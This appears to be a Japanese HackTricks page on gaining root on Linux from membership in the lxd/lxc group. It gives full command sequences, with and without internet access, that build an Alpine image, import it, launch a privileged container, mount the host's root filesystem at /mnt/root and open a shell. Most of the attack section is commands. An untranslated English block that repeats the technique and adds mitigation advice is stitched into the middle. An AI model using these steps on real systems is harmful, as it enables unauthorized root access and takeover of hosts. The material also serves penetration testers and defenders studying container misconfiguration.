9.3 KiB
lxd/lxcグループ - 特権昇格
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
もし lxd または lxc グループに所属している場合、rootになることができます
インターネットなしでの攻撃
方法1
このディストロビルダーをマシンにインストールすることができます: https://github.com/lxc/distrobuilder (githubの指示に従ってください):
sudo su
#Install requirements
sudo apt update
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
#Clone repo
git clone https://github.com/lxc/distrobuilder
#Make distrobuilder
cd distrobuilder
make
#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
次に、脆弱なサーバーに lxd.tar.xz と rootfs.squashfs のファイルをアップロードします。
イメージを追加します:
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list #You can see your new imported image
LXD Privilege Escalation
Introduction
This document explains a privilege escalation technique in LXD, a container hypervisor for Linux systems. By exploiting misconfigurations in LXD, an attacker can gain root privileges within a container and potentially escalate their privileges on the host system.
Prerequisites
To perform this attack, you need the following:
- Access to a Linux system with LXD installed.
- Basic knowledge of Linux command-line interface (CLI) and LXD commands.
Attack Scenario
-
Create a Container: First, create a new container using the LXD command-line tool. Specify the desired Linux distribution and version for the container.
lxc launch <image> <container-name>
-
Add Root Path: Once the container is created, add the root path to the container's configuration. This will allow the container to access the host system's root filesystem.
lxc config device add <container-name> root disk source=/ path=/
This command adds a new device named "root" to the container's configuration, with the source set to the host system's root filesystem ("/") and the path set to the root directory ("/") within the container.
-
Start the Container: Start the container to apply the changes made to its configuration.
lxc start <container-name>
-
Access the Container: Once the container is running, access its shell using the LXD command-line tool.
lxc exec <container-name> -- /bin/bash
-
Privilege Escalation: Within the container's shell, execute commands to escalate privileges and gain root access. This can be achieved by exploiting vulnerabilities or misconfigurations within the container or the host system.
Mitigation
To prevent privilege escalation attacks in LXD, follow these best practices:
- Regularly update LXD and the host system to ensure that security patches are applied.
- Limit the privileges of LXD containers by using appropriate Linux user namespaces and resource restrictions.
- Avoid adding the root path to containers unless absolutely necessary, and carefully review the security implications before doing so.
- Implement strong access controls and monitor container activity for any suspicious behavior.
By following these guidelines, you can reduce the risk of privilege escalation attacks in LXD containers.
lxc init alpine privesc -c security.privileged=true
lxc list #List containers
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
{% hint style="danger" %}
もしエラーが発生した場合 エラー: ストレージプールが見つかりません。新しいストレージプールを作成してください
lxd init
を実行し、前のコマンドのチャンクを繰り返してください
{% endhint %}
コンテナを実行します:
lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
方法2
Alpineイメージをビルドし、フラグsecurity.privileged=true
を使用して起動します。これにより、コンテナがホストのファイルシステムとしてrootとして対話するように強制されます。
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686
# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
# before running the image, start and configure the lxd storage pool as default
lxd init
# run the image
lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh
Alternatively https://github.com/initstring/lxd_root
インターネットを使用する場合
こちらの手順に従うことができます。
lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test bash
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
その他の参考資料
{% embed url="https://reboare.github.io/lxd/lxd-escape.html" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンやHackTricksのPDFをダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 DiscordグループまたはTelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。